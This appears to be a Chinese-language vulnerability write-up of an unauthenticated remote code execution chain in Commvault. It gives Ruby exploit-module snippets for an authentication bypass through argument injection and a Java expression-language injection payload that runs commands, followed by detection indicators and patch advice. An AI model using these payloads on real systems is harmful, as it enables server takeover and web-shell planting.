Commvault CLI参数注入/路径遍历/远程代码执行
漏洞概述
该漏洞利用链针对Commvault软件,涉及未经身份验证的远程代码执行。攻击链结合了命令行参数注入漏洞,允许未经身份验证访问"localadmin"账户,随后通过表达式语言注入实现代码执行。
技术细节
漏洞标识
- 风险等级: 高
- 攻击类型: 远程
- CVE编号: CVE-2025-57790, CVE-2025-57791, CVE-2025-57788
漏洞利用流程
1. 信息泄露阶段
通过查询未授权的Web API端点publicLink.do,提取PublicSharingUser的GUID密码:
1
2
3
4
5
6
|
def check_commvault_info
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do')
)
end
|
2. 认证绕过
利用泄露的主机名和静态字符串绕过认证,获取localadmin用户令牌:
1
2
3
4
5
6
7
8
9
10
11
12
|
def bypass_authentication(hostname)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
'ctype' => 'application/json',
'data' => {
'username' => "#{hostname}_localadmin__",
'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"),
'commserver' => "#{hostname} -cs #{hostname}"
}.to_json
)
end
|
3. 路径泄露
通过认证的API端点获取安装路径信息:
1
2
3
4
5
6
7
8
9
|
def leak_full_path(token)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'),
'headers' => {
'Authtoken' => token
}
)
end
|
4. 远程代码执行
利用表达式语言注入执行命令:
1
|
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}"
|
影响范围
- 平台: Windows系统
- 权限: NETWORK SERVICE用户上下文
- 稳定性: 崩溃安全,可重复会话
检测特征
- 日志文件中包含IOC指标
- 磁盘上写入异常的XML文件和Web Shell
- localadmin用户描述被修改
缓解措施
参考Commvault安全公告CV_2025_08_1和CV_2025_08_2,及时安装相关安全补丁。